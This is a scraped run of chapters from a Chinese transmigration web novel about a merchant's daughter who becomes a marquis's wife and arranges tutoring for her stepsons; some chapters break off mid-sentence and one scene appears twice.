苏若琳连忙跪下:“臣妇在。” “你可知罪!” “臣妇知罪。” “你一个商户之女能嫁入侯府做正妻,应当感恩戴德!”安康郡主气得发抖,“而不是恩将仇报,磋磨嫡小姐!” 周夫人幸灾乐祸地看着苏若琳,照她说,这种小门小户的就是不配嫁进高门! 苏若琳略微皱眉,只是头低着,安康郡主看不到她的神色。 “回郡主,大小姐这年来的遭遇妾身未能察觉是妾身的失职,只是妾身两年前嫁入侯府,起先并不知晓大小姐在庄子里过得如何。” 安康郡主显然对这个回答并不满意,还要继续发怒,却见杨婉枝也跪了下来:“禀郡主,臣女如此并非是母亲的错,郡主若要责罚,请不要责罚母亲!” “你这傻孩子还提她说话。”安康郡主看着自己手帕交的女儿,心疼坏了,“你悄悄你这手,这是受了多少委屈,怪不得长这么矮,是不是侯府经常克扣你的吃食?” 杨婉枝支支吾吾道:“臣女从前在庄子里过得不好,吃不饱穿不暖,但是回府以后被母亲知道了,母亲把从前不好的下人都惩治了一遍,现在母亲对臣女很好。” 安康郡主见杨婉枝虽然说话小声,但是口齿清晰,不似作伪,这才气消了几分,深深地看了苏若琳一眼:“起来吧。” “谢郡主。”苏若琳松了口气,好人有好报啊,这闺女没白疼。 安康郡主又心疼地看着杨婉枝:“你这孩子,这些年怎么就吃了这么多苦?我当初就知道那世子,那安定侯不是好相与的,可当时三聘六礼都过了......唉,不说这些了,你这孩子现在当真过得好?若是不好,你同我说 11. 皇帝中毒 《侯府大小姐竟是男扮女装?》全本免费阅读 几人来到了饕餮楼,店小二见几人衣着华贵,当即引着她们去了楼上的包间。 饕餮楼山珍海味一应俱全,苏若琳将名贵的菜品全点了一遍,几人吃得不亦乐乎,不一会便吃了个十分饱。 “哎哟,妾身的肚子实在是撑得慌,吃不下了。”秋姨娘一边揉着肚子一边看着桌上还剩下小一半的菜哀叹。 杨婉枝和杨婉莹也是如此,苏若琳撑得难受,站起身来消消食。 她看向跟着她们出来的丫鬟们:“你们把菜吃了吧,能吃多少就吃多少。” 苏若琳来到窗边,饕餮楼外的景色着实不错,车马喧嚣,人声鼎沸,观尽民间生活百态。 忽地瞧见一队官兵经过,往楼下的告示栏上贴了张皇榜。 “咦?” 官兵贴完便离开了,而附近的百姓却不约而同地凑到告示栏前。 “谁认得字?” 不一会下面便议论纷纷,苏若琳隐约听了个大概,大意是当今重病,若民间有神医能诊治,赏黄金万两。 苏若琳恍然大悟,皇帝重病......原来到了这段剧情了。 按照原书里的剧情,穿到婉枝身上的女主揭了皇榜,查出当今的病症实则是中毒所致。 女主配出了解药,待当今痊愈以后问赏,女主没要万两黄金,而是求当今为杨婉枝在府里过去的遭遇做主。 当今欣然应允,本来安定侯府因为老国公的一档子事就被圣上所厌弃,圣上便直接收女主做义女,给了公主封号,将整个侯府夺爵流放。 再后来......似是女主调查出了宁安王企图谋逆,并帮助圣上将宁安王的势力连根拔起,已经嫁人的安康郡主蒙恩没有被牵连,但是宁安王处以极刑,王府的人死刑的死刑,流放的流放。 现如今杨婉枝没有死,那个女主也没有被穿越过来,不知还有没有民间神医来给当今解毒呢? 若是没有,那她穿越过来的金手指就没用了一大半。 丫鬟们很快把剩菜分完,正好秋姨娘她们也消食消得差不多了,几人便打道回府。 回到府里,秋姨娘第一时间就带着女儿往大少爷的院里去了,苏若琳轻笑,这就是当娘的人啊,辛辛苦苦攒了那么的钱,给儿子买东西眼都不带眨。 杨婉枝也回自己院里去了,红烛和绿俏吩咐小丫鬟拎着一大包零嘴去给阿枫阿岚两兄弟送去,剩下一小部分她们自己分了。 苏若琳坐下喝了口热茶,下人递过来一张请帖和一封信。 信是苏家送来的,写信的是苏若琳的父亲,道是有一位给俩少爷做先生的好人选,恰巧苏若琳的大哥下江南回来,带回了不少新鲜东西,明日她的大哥和大嫂就带着东西领着先生来看她。 苏家如今也在京城定居,只是侯府在京城西北,苏家的宅子在京城东南,离得并不近。 至于那张请帖,竟是安康郡主送来的,道是几日后在郡主府开茶会,请苏若琳务必带着长女杨婉枝前来赴宴。 一般郡主是没有资格单独建府的,但是宁安王是当今唯一的兄弟,安康郡主又是宁安王唯一的孩子,自然是恩宠之盛。 苏若琳把请帖放下,无奈地叹了口气,这哪是请自己啊,这明摆着是郡主想和大侄女叙旧,带上自己当个添头。 说实话她一点也不想去赴茶会,自己在家里多轻松自在,到了外边还得受那帮高门贵妇的冷嘲热讽,只是她也知道,这次若是回绝了郡主,自己日后就等着被刁难吧。 竖日,她早早地便起床等着娘家大哥和大嫂,派下人去前院把阿枫和阿岚也叫来了。 在她的记忆里,苏若琳的大哥沉默寡言,但待苏若琳是极好的,每次外出跑商回府,第一时间便是带着新奇玩意来送给她。 大嫂也是个精明能干的女人,把苏家得产业打理的井井有条,对内也孝敬爹娘,友爱弟妹。 阿枫和阿岚很快就来了,两兄弟还没大睡醒,惺忪着眼睛不明白自己为什么这么大早就叫他们来。 苏若琳揉了揉两兄弟的头:“你们的舅舅和舅母待会带着先生来,往后你们跟着先生念书以后,可不能再睡懒觉了。” “先生?”杨纨枫登时就醒了,“先生教我们写字念书?” “对。”苏若琳点头。 “我们也能像大少爷,像大哥一样,考秀才吗?”杨纨枫的眼里充满期冀。 “你这孩子,这么想念书?”苏若琳点了点他的鼻子,这孩子这才被认回来几天,竟也知道杨纨玦中了秀才,想来是一直在有心打探消息。 才这么小,就知道这些手段,只是因着年纪小,想要什么还不懂得如何收敛。 苏若琳难以想象等到这孩子长大以后,会有多深的城府。 而杨纨枫则用力点头:“大哥年纪轻轻中了秀才,所以府里都看重他,尊敬他,如果我也能念好书,大家也会看重我和弟弟吧?” 杨纨岚还是那副懵懂的模样,只是杨纨枫的眼中已经充满了坚定。 苏若琳心头一酸:“对,其实你不用努力念书大家也不敢再看轻你们,不过你想要读书是好事。” “只是,读书是很吃苦的,要一连坐好几个时辰,你能受得了吗?”苏若琳有心逗他。 杨纨枫毫不犹豫地点头:“我可以的。” 而杨纨岚似是终于睡醒了:“哥哥,咱们昨天不是说好了今天去给鸟做窝吗,为什么要坐好几个时辰?” 红烛绿俏她们都笑了,苏若琳也没绷住,杨纨枫无奈地摇了摇头。 两兄弟在苏若琳屋里用得早膳,早饭过后没一会,苏家大哥和大嫂便来了。 果然同苏若琳记忆里的一样,大哥成熟稳重,大嫂精明能干,两人先后进了屋,红烛给他们倒了杯热茶。 “大哥大嫂!”苏若琳的心中莫名洋溢着一丝亲切,想必是这具身体的感情吧。 大哥大嫂都很高兴,坐下来接过热茶,便同苏若琳亲切地寒暄起来。 下人来报送来的东西怎么处理,苏家大哥道:“这里面有些海货,最好放到冰窖里存着” 看着这么一大堆东西,苏若琳心头一暖:“你们来就来了,怎么还带这么多东西?” 大哥只是笑,不说话,大嫂嗔了他一眼:“前些日子你大哥从江南带回了一种极火的料子,叫月光织,一般的人家不能用,大户人家都抢断货,你大哥托人找门路弄来了一批,想着这料子定然适合你。” “大哥有心了。”苏若琳招呼阿枫和阿岚,“阿枫和阿岚过来,这是你们的舅舅和舅母。” “这是侯府的二少爷,杨纨枫,这是三少爷杨纨岚,今年都是九岁。”苏若琳又向大哥和大嫂介绍,“他们两个如今都记在了我的名下。” 苏若琳是有意让两兄弟和苏家认亲的,苏家如今是没有贵族身份,但也家财万贯,钱这种东西到哪里都是好东西。 两兄弟齐声道:“问 12. 奇才陨落 《侯府大小姐竟是男扮女装?》全本免费阅读 这一次,就连杨纨岚也感受到了祝老爷子目光里的嫌弃,两兄弟头低低的,不敢看大家。 苏若琳连忙打圆场:“侯府早些年变故着实多,也是我嫁过来之后才好些的,不过这两个孩子着实是有天分的,或许学问上如今是差了点,但是心思品行上没得挑,祝爷爷您可以考考看呀。” 祝老爷子没有接话,气氛一时间陷入了沉默,待到他喝完一盏茶,才道:“你们两个抬起头,看着我。” 只是当杨纨枫抬起头时,那眼神却将祝老爷子吓到了。 那眼神如一潭幽深的古井,深不可测,一时间祝老爷子竟猜不透这孩子的想法,若这眼神是一个人筹谋算计的大人眼中也不为过,只是这孩子才多大年纪? 不过这眼神也只一瞬,便恢复往常,他的眼中充满坚定。 而杨纨岚却双眼通红,无声地哭了。 是个先生都不喜欢娇生惯养的学生,祝老爷子当即皱眉:“你哭什么,又没人骂你。” 杨纨岚边抽泣边使劲抹着眼睛:“我,我不争气,不聪明,让哥哥费心,不给母亲争气,我没用。” 苏若琳一时有些晃神,她一直以为阿岚这孩子在阿枫的关照之下什么都不懂,每天无忧无虑的,却不想原来这孩子也生得一颗七窍玲珑心,其实什么都知道。 他什么知道,却从来不说。 祝老爷子叹了口气:“罢了,我这辈子也没几年了,我这一生无妻无子,也没有收过学生,到了现在,就看在小妮子的份上勉为其难地收下吧。” 至少这个杨纨岚的孩子品性端正,还有那个杨纨枫的眼神......祝老爷子琢磨着,肯定不是他看错了。 “太好了!”苏若琳高兴道,“你们两个听到了吗,你们曾祖决定收你们做学生了,红烛,快备拜师茶!去我库里把那半斤大红袍全都拿出来!” 大哥和大嫂也如释重负地笑了,祝老爷子脾气古怪他们是知道的,也不好伺候,只有自家妹子是老爷子的心肝,能降得住老爷子。 红烛连忙小跑着去库房,就这半斤大红袍还是小姐嫁妆里带着的,可见小姐真是下了血本了。 苏若琳来到杨纨岚面前,蹲下和他平视:“傻孩子,你没有没用,也没有不争气。” 她摸着杨纨岚精致的小脸,掏出手绢把他越抹越花的眼泪擦掉:“我和你哥哥都希望你快快乐乐的,只要你高兴,对我们来说就是最大的意义。” 杨纨枫也牵起他的手:“只要你过得好,哥哥做什么都愿意。” “咳咳。”祝老爷子看不下去了,“行了行了,别肉麻了,知道你娘仨感情好。” 苏若琳轻笑,对两兄弟道:“拜师的事先不说,你们快给曾祖行礼。” 两兄弟连忙板正身子,行了个这辈子以来最好看的礼:“见过曾祖!” 祝老爷子满意地点头,又问了他们两兄弟几句话,红烛便端着拜师茶到了。 两兄弟各自递上茶,祝老爷子连着喝了两盏拜师茶,也从破布袋里掏出了两块砚台。 “什么呀,原来祝爷爷你早就准备好了。”苏若琳鼓起腮帮子嗔怪,“那你还这么整我家孩子,俩孩子才九岁呢!” “咳咳。”祝老爷子一张闲适的老脸顿时变得不自然,“谁说我是提前准备的?是临出门你爹死活塞给我的,我连推都推脱不过!” “好好好。”苏若琳敷衍道,当她是瞎子不成,那两块砚台她分明是在祝爷爷家里见过的。 “行了行了。”祝老爷子绷不下去了,站起身拄上拐就跑,“我去前厅考校考校他们两个,你们一家人好好聊聊。” 两兄弟连忙跟上,杨纨枫道:“先生,学生扶您!” “扶什么扶!”祝老爷子一巴掌把他拍开,“我这一把老骨头硬朗着呢,用得着你扶!” 苏若琳和大哥会心一笑,大嫂看师生三人走出去了,才小声道:“妹子,你都嫁进来两年了,肚子一点音信都没有啊?” 苏若琳淡定地喝了一口茶:“有个秘密告诉你们,不要声张。” 大哥竖起耳朵,大嫂练练保证:“妹子你放心,这事保证没有第四个人知道。” 顿了顿,大嫂牵起苏若琳的手:“妹子啊,你要是身子有什么问题,大嫂老家认识看妇人病的大夫,看生育尤其准,大嫂给家里写封信,让大夫来看看?” 苏若琳笑着摇头:“没,这两年来,杨询没和我同房过。” “啊?”大嫂傻眼了,大哥“蹭”地一下站起身,“我去找杨询算账!” “哎哎哎你别去,你去能算什么帐!”大嫂连忙拉住他。 大哥刚要起调,又想起这事不能声张,这才压低嗓音:“他是看不起我妹子还是怎么?论相貌,论涵养,我妹子哪一点配不上他?更何况他大了我妹子整整十四岁!他老牛吃嫩草还看不上我妹子,他凭什么!” “没有的事。”苏若琳也拉住大哥,才把他重新拉回椅子上,“杨询的身子出了问题,估摸这我嫁进府之前就有了,这两年来他也没去过任何姨娘的屋子。” “不举?!”大嫂捂住嘴生怕自己叫出来,而后焦急道,“怪不得他一个侯府愿意以正妻之礼娶你过门,我从前只当是他们侯府穷过头了,没成想竟还有这么一层原因在里面!那你以后这,这可怎么办啊?” 苏若琳朝前厅怒了努嘴:“我是没生孩子,不代表我没孩子呀,白捡的两个大儿子。” “这倒是。”大嫂这才舒了口气,“是我太心急了,就算这两个孩子不是你亲生的,你是嫡母,往后他们也得孝敬你,不能有差错。” 大哥叹了口气,把手放到苏若琳的肩上安慰自家妹子:“妹子你放心,大哥跟你保证,这俩外甥以后就是咱们苏家的亲外甥,日后两个外甥遇到了事能用得上咱们苏家的你尽管说,我们肯定管。” “别的不说,用得着银子打点的地方,咱们苏家不差钱,管够!” 苏若琳注意到大哥一直说的是“咱们苏家”而不是“我们苏家”,即使她现在嫁到了侯府,也还当她是苏家的女儿,心中涌过一丝暖意。 “大哥你放心,我在这侯府上边没有公婆,下边小妾们也都镇得住,日子过得舒坦着呢。” “那还行。”大哥这才放心下来,兄妹三人又说了不少体己话,得知苏家一切都好,苏若琳也是放心了。 大抵是继承了这具身体,也不由自主地拥有了这具身体的感情。< 13. 老爷子住侯府 《侯府大小姐竟是男扮女装?》全本免费阅读 “你这小妮子,又想干啥?”看见苏若琳炯炯的目光,祝贤盛警觉。 从前小妮子露出这表情,多半是计划着怎么闯祸了。 “没有没有。”苏若琳连忙摆手,她从前只知道祝爷爷学识渊博,小时候听爹娘说祝爷爷年轻时候中过举人,若不是因为身体有残,高低也得是个地方父母官。 祝爷爷一生未有子嗣,往日同她最是亲厚,如今已到了含饴弄孙、颐养天年的年纪,却依然孑然一人、孤苦伶仃。 现在爹和大哥把祝爷爷送来,也未必不是存了让祝爷爷来侯府养老的心思,每日看着自己最喜欢的小孙女,还有小孙女的两个儿子承欢膝下,也许是祝爷爷最好的结局了。 只是就连苏若琳也没有想到,原来祝爷爷的来头这么大。 苏若琳在心里默念着,对不起了祝爷爷,您老是没办法安心养老了,但是您还可以在阿枫和阿岚身上发挥您的余热。 “说起来,昨日我去外边买东西,给阿枫和阿岚淘了两样字帖,您给长长眼?” “字帖?”祝贤盛挑眉,“谁的书法?” 一旁的阿枫和阿岚则好奇地看向苏若琳,字帖?还是给他们买的? 苏若琳吩咐红烛去把字帖拿过来:“是当朝太师张辅之的书法印本。” “老张的字?”祝贤盛饶有兴趣地接过字帖,翻了两页,“是比起从前进步不小啊,但也就那样吧。” “也就那样?”苏若琳嘴巴张了张,不知道该说什么。 “你小时候也是见过我写字的,就这两本字帖,能比得过大书法家亲自教?”祝贤盛不满地看着她,“况且老张那小子,学问都做不好,若不是老爷子我不慕名利,能轮得到他?” “有我在,你还想让你儿子学别人的字?”说这话时,祝贤盛又不满地看着两兄弟。 苏若琳眨了眨眼,老爷子这是吃醋了啊。 “我这不是拿来让您看看行不行嘛,现在听您这么一说,这字帖果真是不行的,那扔了便是。” 说着还真把字帖丢给小丫鬟,让她们拿下去烧了。 祝贤盛这才展眉,满意了一点:“就是,要这字帖有什么用,扔了。” 杨纨枫张了张嘴,到底是没敢说什么,委屈巴巴地撅起嘴,这字帖他连碰都没碰一下! 祝贤盛一巴掌拍在他脑袋上:“你这是什么表情,你要学老张的字就找老张去,别跟着我念书!” “没有没有。”杨纨枫慌了,“学生要跟着曾祖念书!” 可是那是母亲买给他的礼物啊...... 苏若琳又让红烛把昨日买的笔墨拿出来,和祝贤盛送给孩子们的砚台一拼,文房四宝就只差一样了。 杨纨枫宝贝似的把这三样东西揣到怀里,生怕别人抢了去。 而祝贤盛则指着毛笔问杨纨岚:“你可认得这是什么?” 杨纨枫要张嘴,被祝贤盛制止了。 苏若琳知道这就是开始启蒙了,便安静地坐在一边,不打扰他们。 顺便看看戏,都说不写作业父慈子孝,一写作业鸡飞狗跳,老爷子又不是个沉闷刻板人,说不定待会就能看到鸡飞狗跳。 杨纨岚挠了挠头:“这是什么?” “这是毛笔,写字用的。”祝贤盛叹了口气。 “哦。”杨纨岚恍然大悟,又指着那块墨反问,“那这是什么?” 杨纨枫解释道:“这是墨,把它研磨开以后,用毛笔沾上墨汁,就可以写出字了。” “研磨?”杨纨岚拿出方才拜师礼拿到的砚台,兴致满满地问道,“是在这上面研吗?” “对。”杨纨枫点头。 “那要怎么研磨呀?”杨纨岚一手拿着砚台,一手拿着墨,直接将墨往砚台上划。 “哎,你这小子!”祝贤盛连忙制止他,“哪有这么研墨的,你这不是糟蹋东西吗。” 杨纨岚迷茫地看着祝贤盛。 祝贤盛又看向杨纨枫:“你会研墨?” 杨纨枫道:“知道,但没试过。” “那你来。” 只见杨纨枫把砚台放到桌子上,再往砚台上滴了几滴水,拿起磨条在水滴上转着圈研磨着。 祝贤盛捋着胡须:“你从哪知道怎么研墨的?” 杨纨枫动作一顿,双唇嗫嚅道:“学生看过长兄念书时,下人们研墨。” “你兄长当着你面念书,但是你不念,就在边上看着?”祝贤盛挑眉,锐利的目光盯着杨纨枫。 “不是不是!”杨纨枫使劲摇头,被盯得后背开始冒出冷汗,心一横,“是我到兄长的院子里偷看的,兄长和下人们都不知道我在。” 偷偷摸摸到哪里都不是光彩的事,更何况他们如今是侯府嫡少爷,杨纨枫知道自己不应该这样做,可是,可是...... 苏若琳有些惊讶,阿枫偷偷去纨玦院子里确实意料之外,但又情理之中,他和护住他自己和弟弟在侯府里这么多年,不可能完全仰仗下人们的善意,必然也有自己的手段。 杨纨枫紧张地看向苏若琳,生怕因此遭来母亲的厌恶。 只是刚一扭头,祝贤盛又是一巴掌拍到他脑袋上:“你小子!看个书还偷偷摸摸,你就不会光明正大地看。” 随后祝贤盛给杨纨岚的脑袋也来了一下:“你和你哥也没差几个月,你就不会看着你哥点!” 杨纨岚笑嘻嘻道:“您再来一下,刚才您打了我哥两下,我这还差一下呢。” 祝贤盛给气笑了:“你哥刚才把研墨演示了一遍,你也研一遍我看看。” “哦。”杨纨岚按照杨纨枫方才的步骤把墨条研磨了一遍,动作分毫不差。 记性还可以,祝贤盛初步给出结论,就是不知道背书的时候有没有这个记性。 至于杨纨枫,这小子有点东西啊,虽然就这么两下还没试探出这小子的底,但是他日后有的是时间给这小子的底摸出来。 这时,下人来报,道是先生的院子已经按照夫人的要求收拾好了,请夫人去看看还有哪里不合适。 老爷子生性安贫乐道,不喜欢太过奢靡,只是她也不能因此就凑活了事:“祝爷爷,那咱们去您院子里看看?您待会看看有什么缺的,直接跟我说就成。” 祝贤盛幽怨地看了她一眼:“我最缺大红袍和龙井。” “......”苏若琳哭笑不得,只好问红烛,“那些茶叶包好了没?” 红烛也是无奈地笑了:“已经打包好了,老爷子是想现在给您送来还是给您送到院子里去?” 祝贤盛大手一挥:“全送我院里去,先给我泡上一壶龙井,等我过去了要喝上现成了。” 祝贤盛这才拄着拐起身,苏若琳也要上去扶,祝贤盛瞪了她一眼:“你也觉得我老到走不动了?” 只是却没有任何拐或巴掌落到苏若琳的身上。 “哪能啊?祝 14. 闺女随娘 《侯府大小姐竟是男扮女装?》全本免费阅读 “你喜欢这幅画?”苏若琳饶有兴趣地问道,这幅《春叹》画的是万紫千红的花,漂亮归漂亮,她倒是没觉得多有意思,能让一个十岁的孩子喜欢? 杨纨岚忙不迭点头:“嗯嗯。” 兴许是这孩子有点艺术天赋吧。 “喜欢那就拿去吧,只是小心点别弄坏了。”苏若琳说着教杨纨岚把画卷起来,“卷完了用绳子捆好,不过不要捆得太紧,容易把纸勒出褶皱。” 杨纨岚如获至宝地把画卷捧在怀里。 “你这小妮子,是越来越大胆了啊。”祝贤盛道,“这么珍贵的画直接给一个孩子拿去玩。” 不过倒也没有阻拦。 “这东西买来不就是给喜欢的人看的嘛。”苏若琳道,“我是不怎么喜欢,我儿子喜欢就让他看。” “嘿嘿嘿。”杨纨岚傻乐,母亲第一次喊自己儿子呢。 这时杨纨枫递上了几张纸:“母亲,曾祖,这是我这几天练的字。” “你练的字?”苏若琳惊讶,他这还没启蒙呢,怎么练的? 结果纸一看,这字写的还真像样子。 “你这是在哪学得写字?” 祝贤盛挑眉:“这字我怎么看着这么眼熟?” 杨纨枫答道:“是按照母亲送给我的字帖练得。” “字帖?”祝贤盛问道,“什么字帖,拿来我看看。” 杨纨枫把那两幅字帖递给祝贤盛,苏若琳看了一眼:“这是当朝太师张辅之的书法印本,我前几日出去给他们买的。” “老张的字?”祝贤盛饶有兴趣地接过字帖,翻了两页,“是比起从前进步不小啊,但也就那样吧。” “也就那样?”苏若琳嘴巴张了张,不知道该说什么。 “你小时候也是见过我写字的,我亲自教不比照着这破字帖学强?”祝贤盛不满地看着她,“况且老张那小子,学问都做不好,若不是老爷子我不慕名利,能轮得到他?” “有我在,你还想让你儿子学别人的字?”说这话时,祝贤盛又不满地看着杨纨枫。 苏若琳眨了眨眼,老爷子这是吃醋了啊。 “我这不是拿来让您看看行不行嘛,现在听您这么一说,这字帖果真是不行的,那扔了便是。” 说着还让小丫鬟把那两本字帖收走,拿下去烧了。 祝贤盛这才展眉,满意了一点:“就是,要这字帖有什么用,扔了。” 杨纨枫完全呆住了,他,他辛苦练了这么多天的字,这字帖直接就被拿去扔了! 他到底是没敢说什么,只是委屈失落地低着头。 祝贤盛一巴掌拍在他脑袋上:“你这是什么表情,你要学老张的字就找老张去,别跟着我念书!” “没有没有。”杨纨枫慌了,“我要跟着曾祖念书!” 可是那是母亲买给他的礼物啊...... 苏若琳注意到了这孩子的失落,看向绿俏:“说起来,我前些天弄的那两个书包,如今做好了吗。” 古代书生背着的都是竹楼,又沉又不方便,大户人家的考生都是把书本交给下人拿着背着,苏若琳便琢磨着照着现代的斜挎包给两个孩子设计了两个。 自己随手带着书本毕竟比下人拿着也方便些,左右这个年纪也用不了太多太沉的书,从那日逛街回来苏若琳就在弄了,丫鬟们见着有趣也一起来缝,没几天就做完了。 绿俏把书包拿了过来,给两兄弟把笔墨和祝老爷子送的砚台都放到书包里,然后教两兄弟背起书包。 斜挎着这么新奇的书包,杨纨枫顿时就不伤心了,杨纨岚兴盛地左右转圈,把书包也带的转了起来。 祝贤盛道:“就数你小妮子鬼主意多。” 说罢祝贤盛又招呼杨纨岚到他面前,从他包里拿出那三样东西,指着毛笔问杨纨岚:“你可认得这是什么?” 杨纨枫要张嘴,被祝贤盛制止了。 苏若琳知道这就是开始启蒙了,便安静地坐在一边,不打扰他们。 顺便看看戏,都说不写作业父慈子孝,一写作业鸡飞狗跳,老爷子又不是个沉闷刻板人,说不定待会就能看到鸡飞狗跳。 杨纨岚挠了挠头:“这是什么?” “这是毛笔,写字用的。”祝贤盛叹了口气。 “哦。”杨纨岚恍然大悟,又指着那块墨反问,“那这是什么?” 杨纨枫解释道:“这是墨,把它研磨开以后,用毛笔沾上墨汁,就可以写出字了。” “研磨?”杨纨岚拿出方才拜师礼拿到的砚台,兴致满满地问道,“是在这上面研吗?” “对。”杨纨枫点头。 “那要怎么研磨呀?”杨纨岚一手拿着砚台,一手拿着墨,直接将墨往砚台上划。 “哎,你这小子!”祝贤盛连忙制止他,“哪有这么研墨的,你这不是糟蹋东西吗。” 杨纨岚迷茫地看着祝贤盛。 祝贤盛又看向杨纨枫:“你会研墨?” 杨纨枫道:“知道,但没试过。” “那你来。” 只见杨纨枫把砚台放到桌子上,再往砚台上滴了几滴水,拿起磨条在水滴上转着圈研磨着。 祝贤盛捋着胡须:“你从哪知道怎么研墨的?” 杨纨枫动作一顿,双唇嗫嚅道:“学生看过长兄念书时,下人们研墨。” “你兄长当着你面念书,但是你不念,就在边上看着?”祝贤盛挑眉,锐利的目光盯着杨纨枫。 “不是不是!”杨纨枫使劲摇头,被盯得后背开始冒出冷汗,心一横,“是我到兄长的院子里偷看的,兄长和下人们都不知道我在。” 偷偷摸摸到哪里都不是光彩的事,更何况他们如今是侯府嫡少爷,杨纨枫知道自己不应该这样做,可是,可是...... 苏若琳有些惊讶,阿枫偷偷去纨玦院子里确实意料之外,但又情理之中,他和护住他自己和弟弟在侯府里这么多年,不可能完全仰仗下人们的善意,必然也有自己的手段。 杨纨枫紧张地看向苏若琳,生怕因此遭来母亲的厌恶。 只是刚一扭头,祝贤盛又是一巴掌拍到他脑袋上:“你小子!看个书还偷偷摸摸,你就不会光明正大地看。” “怪不得你小子写的字这几个字连笔画都没出错,光照着字帖可写不出来,原来是偷师学艺了啊。”随后给杨纨岚的脑袋也来了一下,“你看你哥都会主动学了,你呢,整天光想着玩!” 杨纨岚“嗷”的一声,捂着脑袋委屈道:“母亲说了呀,还没启蒙先不着急学,让我们这几天撒了欢的玩。” 苏若琳:?我说的是让你珍惜最后能撒欢的日子,可没说让你这么玩。 祝贤盛给气笑了:“你哥刚才把研墨演示了一遍,你也研一遍我看看。” “哦。”杨纨岚按照杨纨枫方才的步骤把墨条研磨了一遍,动作分毫不差。 记性还可以,祝贤盛初步给出结论,就是不知道背书的时候有没有这个记性。 至于杨纨枫,这小子有点东西啊,有天赋,又刻苦 15. 上课 《侯府大小姐竟是男扮女装?》全本免费阅读 老爷子真是神人,只一眼就看出了婉枝这孩子从小就没了娘。 祝贤盛又皱眉道:“你先前说侯府诸多变故,所以这俩小子一直没启蒙,是个什么情况?不用瞒着我吧?” “这事其实也没什么好瞒的,府里的老人都知道。”苏若琳便将两个孩子的身世和遭遇说了出来。 祝贤盛沉默了好一会,幽幽地叹了口气:“作孽啊。” “那俩孩子我瞧着都是聪明的,念书上面怎么也不至于愚不可及,我也不期望他们考个什么举人进士,只是好歹识文断字,多读一些书就能多长几分见识,还望祝爷爷您别嫌弃。”苏若琳道。 “你这是什么话?”祝贤盛脸顿时拉得老长,“你觉得我会因为这点事嫌弃他们?” 苏若琳连忙否认:“不会不会。” 祝贤盛继续道:“更何况,这俩小子如今是记到你名下的,你是我孙女,这俩小子就是我曾孙,你等着,我非让这俩小子考个进士给你看!” “真哒?”苏若琳眼睛一下子就亮了。 祝贤盛支吾了一下:“那个小的还不确定,大的那个我瞧着是个好料子,中个进士应当是没问题的。” “太好了!”苏若琳嘴上欢呼,心里芜湖,无痛生娃,养孩子也是从十岁开始养,压根不需要费什么心,等孩子出息了以后还能安稳养老,这辈子圆满了! 祝贤盛也笑了:“一转眼啊,你都这么大了。” “孙女大了也还是您孙女啊。”苏若琳搀扶着祝贤盛在一个雅致的院子前停下,“咱们到啦!” 这院子里侍弄着许多花草,如今开春不久,有些开得早的花已经含苞待放,透过拱门便能看到满院春机盎然。 祝贤盛满意地点头:“不错不错。” “咱们再进去看看。”苏若琳搀着祝贤盛进了院子,屋子内外都收拾了一遍,进了前厅,便能看到满屋紫檀木做的家具,先前打包好的茶叶就放在桌子上。 这时下人端着一壶茶走来,笑道:“老爷子,您要的龙井已经泡好了。” “好好好。”祝贤盛心里乐开了花,只是想到这满屋子紫檀木造价不菲,又欣慰又心疼,“你这是把你库里最好的家具都搬出来了,我方才见你屋里都没用这么好的家具,我这把老骨头了用不上这个,你都搬走。” 苏若琳知晓老爷子是心疼自己费钱,安抚道:“您就放心吧,我们家多有钱您又不是不知道,我是用惯了老家具才懒得换,您啊就放心得用吧,用坏了咱再定套新的,每天都换一套玩都成!” “你看看你,浪费。”老爷子埋怨道,只是脸上的表情还是舒心的。 苏若琳又陪着祝贤盛用过午饭,老爷子虽然嘴上说着自己在下边城里更自在,但是难免还是会感到孤寂,如今来到侯府有孙女作陪,脸上的笑是发自内心的。 祝贤盛就这样在侯府住下了,秋姨娘听到了消息,还特意来找苏若琳,论私心,她确实不希望府上的其他少爷能越过她儿子去,可是这老先生...... 夫人真想把自家祖父接过来养老自然是没有问题,可是一码归一码,就给两个少爷选先生这个事,这有点太随便了吧?! 苏若琳如今倒是真觉得这秋姨娘为人不差了,自己对她好,她也就真心为自己着想,真是个能相处的。 只是,旁人都不知晓她这位祖父的实力罢了。 “放心吧,我祖父学识渊博,教导两个孩子念书是没有问题的。” “那,既然夫人觉得没问题,那妾身自然也是支持的。”秋姨娘讪讪道,已经在心里想好了回头嘱咐一下儿子,有空去腾云轩辅导辅导两位少爷的功课,也不说多用心地教,好歹帮扶一下。 “你不用担忧,虽说我本来也没期望着这两个孩子能有多大出息,但是给孩子请先生的态度是认真的。”苏若琳说着,红烛提着一桶刚煮好的奶走了进来,而绿俏手里则拿着一袋白糖。 “咦,夫人这是在做什么?”秋姨娘好奇道。 “我前些天翻书,看到一个古法,说是用牛奶泡茶,再加上一些白糖,能做成一种名为‘奶茶’的有趣玩意。”这是苏若琳一早就想好的理由,实际上哪有来的什么古法,纯粹是她馋这一口了。 雪碧可乐她也不会做,但是奶茶应该要简单一些。 秋姨娘倒是一下子来了兴趣:“还有这种东西?可否让妾身也试试?” “当然。”苏若琳把准备好的杯子拿出来,“古法上也只是把材料说了个大概,用量什么的都很含糊,正好咱们都来试试,看看到底多少奶配多少糖合适。” 这可当真是个有趣的游戏,红烛绿俏她们也都参与进来,到了后来苏若琳干脆搞了个小比赛,谁最先调出口感最好的奶茶,谁就能赢得一个大红包。 众人玩了一个下午,功夫不负有心人,到众人都快喝饱的时候,终于把最佳的配方给试了出来。 于是,第二天杨婉枝来找苏若琳学东西的时候,新鲜出炉的正式奶茶就摆到了她的面前。 杨婉枝看着这棕色的奶一时有些懵:“母亲,这......这是什么?” “这叫奶茶。”苏若琳热情地推荐,“你尝尝试试。” 小姑娘都喜欢奶茶,杨婉枝这孩子也该多喝点奶多补补营养。 杨婉枝尝了一口,眼睛刷的一下子亮了:“唔,很甜!” “没错!”苏若琳很是高兴,“你若是喜欢我把方子给你,回头自己想喝了便让小厨房做。” 侯府的每个轩子里都配有一个小厨房,只是要看轩子的主人用不用。 喝完奶茶,便开始了今天的学习, 今天照旧温习琴曲,苏若琳发现这孩子的天赋是真的好,比自己好太多了,这要放到她前世就是天生的音乐家啊! 那首《长相思》如今已经快学完了,杨婉枝突然意识到了什么,问苏若琳:“母亲,亲戚里的长辈也能当先生么?” “嗯?” “您昨天说曾祖以后就是两个弟弟的先生,长辈也能当晚辈的先生么?” 